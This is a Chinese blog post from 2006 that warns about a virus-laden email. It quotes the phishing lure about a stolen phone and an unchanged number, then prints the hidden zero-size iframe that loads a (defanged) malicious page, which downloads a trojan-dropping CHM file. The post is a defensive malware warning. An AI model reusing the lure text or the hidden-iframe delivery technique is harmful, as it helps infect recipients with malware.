endurer 原创
主 题： 我的号码没变，还是原来那个！
发件人：jinzhuanmanwu@21cn.com
气死我了！！！前段时间手机被偷了，还好我把卡补办回来了，可是里面原来储存的电话号码都不在了，很多朋友都联系不上了。庆幸的是还好电脑上还有你们的邮箱方便我联系。。有看到的麻烦帮忙通知下其他朋友，我的电话号码没有变，还是原来那个，给我来个电话，我好把大家的号码重新存一遍。
气死我了！！！前段时间手机被偷了，还好我把卡补办回来了，可是里面原来储存的电话号码都不在了，很多朋友都联系不上了。庆幸的是还好电脑上还有你们的邮箱方便我联系。。有看到的麻烦帮忙通知下其他朋友，我的电话号码没有变，还是原来那个，给我来个电话，我好把大家的号码重新存一遍。
＜iframe src="hxxp://2008.***e2.7868.net/service/bj/a.htm" name="zhu" width="0" height="0" frameborder="0"＞
2006-05-25 第1版
今天收到一封带毒邮件：
主 题： 我的号码没变，还是原来那个！
发件人：jinzhuanmanwu@21cn.com
气死我了！！！前段时间手机被偷了，还好我把卡补办回来了，可是里面原来储存的电话号码都不在了，很多朋友都联系不上了。庆幸的是还好电脑上还有你们的邮箱方便我联系。。有看到的麻烦帮忙通知下其他朋友，我的电话号码没有变，还是原来那个，给我来个电话，我好把大家的号码重新存一遍。
气死我了！！！前段时间手机被偷了，还好我把卡补办回来了，可是里面原来储存的电话号码都不在了，很多朋友都联系不上了。庆幸的是还好电脑上还有你们的邮箱方便我联系。。有看到的麻烦帮忙通知下其他朋友，我的电话号码没有变，还是原来那个，给我来个电话，我好把大家的号码重新存一遍。
信体中插入了恶意代码：
＜iframe src="hxxp://2008.***e2.7868.net/service/bj/a.htm" name="zhu" width="0" height="0" frameborder="0"＞
这与
小心主题为：“最近好吗？怎么联系不上你”的带毒邮件相同，hxxp://2008.***e2.7868.net/service/bj/a.htm的代码也相同，同样是下载一个名为a.chm这个恶意文件。
不过这次下载的a.chm大小为333,740字节，包含一个病毒，Kaspersky报为Trojan-Dropper.Win32.Pakes。
而 小心主题为：“最近好吗？怎么联系不上你”的带毒邮件中下载的a.chm大小为333,722字节，包含两个病毒，Kaspersky报为Exploit.HTML.CodeBaseExec和Trojan-Dropper.Win32.Pakes。
